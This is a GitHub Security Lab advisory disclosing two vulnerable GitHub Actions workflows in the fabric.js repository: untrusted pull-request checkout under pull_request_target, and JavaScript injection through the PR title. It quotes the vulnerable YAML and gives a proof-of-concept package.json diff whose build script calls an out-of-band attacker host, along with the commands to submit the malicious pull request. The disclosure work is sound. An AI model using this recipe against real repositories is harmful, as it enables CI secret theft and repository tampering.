Coordinated Disclosure Timeline
- 2024-03-15: Reported to andreabogazzi79 at gmail.com
- 2024-03-16: Removed vulnerable workflow
Summary
Insecure usage of pull_request_target
and PR title make fabric.js repository vulnerable to an unauthorized repository modification or secrets exfiltration.
Project
Fabric.js
Tested Version
Details
Issue 1: Untrusted checkout leading to secrets exfiltration from a Pull Request in build_stats.yml
workflow (GHSL-2024-031
)
The pull_request_target
trigger event used in build_stats.yml
GitHub workflow explicitly checks out the head of the Pull Request, and therefore code controlled by an attacker, and runs it.
name: 'šš'
on:
pull_request_target:
branches: [master]
paths-ignore: [CHANGELOG.md]
...
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }}
fetch-depth: 0
- name: reinstall deps after checkout
run: npm ci
- name: pr head build stats
run: npm run build -- -s
By explicitly checking out and running code from a fork, the untrusted code is running in an environment that is able to access secrets. See Preventing pwn requests for more information.
An attacker could create a pull request with a malicious packages.json
file which would execute arbitrary commands in the runner gaining access to the runner from which it should be possible to modify the repository code or exfiltrate secrets.
This workflow runs with default write permissions which allows attackers to get access to a GITHUB_TOKEN
with write access that could be used to modify the content of the repository and inject malicious code.
GITHUB_TOKEN Permissions
Actions: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
This vulnerability was found using the Checkout of untrusted code in trusted context
CodeQL query.
Proof Of Concept (PoC)
To verify the vulnerability follow the following steps:
- Clone the repo:
gh repo clone fabricjs/fabric.js
. - Edit
package.json
and apply the following diff (replaceYOUR-CONTROLLED-SERVER
with your own request catcher server): ```diff diff āgit a/package.json b/package.json index a5f177531..ea596d048 100644 ā a/package.json +++ b/package.json @@ -44,7 +44,7 @@ ācliā: ānode ./scripts/index.mjsā, āsandboxscriptā: ānode ./scripts/sandbox.mjsā, āchangelogā: āauto-changelog -o change-output.md āunreleased-onlyā, - ābuildā: ānpm run cli ā buildā,
- ābuildā: ānslookup 446f956bbh9sxy0uss1c7t1d64cv0loa.oastify.comā, ābuild:fastā: ānpm run build ā -fā, ādevā: ānpm run cli ā devā, āstartā: ānpm run sandboxscript ā startā, ```
- Create a new branch:
git checkout -b add_new_test
. - Stage modified file:
git add package.json
. - Commit change:
git commit -m "fix(templates): Fix build"
. - Send PR:
gh pr create
and follow instructions on screen. - Once the PR is received, the
build_stats.yml
workflow should trigger which should result in the execution ofnpm run build
which will execute the payload and will send a request to the attacker-controlled server.
Note: We have NOT tried this exploit on your repo. We have only tried this exploit locally and didnāt try to access the secret keys. Nevertheless it is advisable to rotate the potentially leaked secrets after the issue is remediated.
Impact
Running untrusted code with a privileged repository token and access to secrets may lead to an unauthorized repository modification or exfiltration of the secrets.
Issue 2: JavaScript Code Injection (GHSL-2024-032
)
The changelog.yml
reusable workflow sets the log
environment variable based on user-controlled data (Pull Requestās title) and then uses this variable to build a JS script. This allows an attacker to control the JS code executed and run arbitrary JS code.
- name: Update ${{ env.file }} from PR title
id: update
uses: actions/github-script@v7
env:
log: '- ${{ github.event.pull_request.title }} ${{ env.link }}\n'
prev_log: '- ${{ github.event.changes.title.from }} ${{ env.link }}\n'
with:
result-encoding: string
script: |
const fs = require('fs');
const file = './${{ env.file }}';
let content = fs.readFileSync(file).toString();
const title = '[${{ env.next_version }}]';
const log = '${{ env.log }}';
This workflow runs with default write permissions which allows attackers to get access to a GITHUB_TOKEN
with write access that could be used to modify the content of the repository and inject malicious code.
GITHUB_TOKEN Permissions
Actions: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
This vulnerability was found using an experimental CodeQL query.
Impact
Running untrusted code with a privileged repository token and access to secrets may lead to an unauthorized repository modification or exfiltration of the secrets.
Resources
- CodeQL for JavaScript - Expression injection in Actions
- Keeping your GitHub Actions and workflows secure Part 2: Untrusted input
- Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests
Credit
These issues were discovered and reported by GHSL team member @pwntester (Alvaro MuƱoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-031
or GHSL-2024-032
in any communication regarding these issues.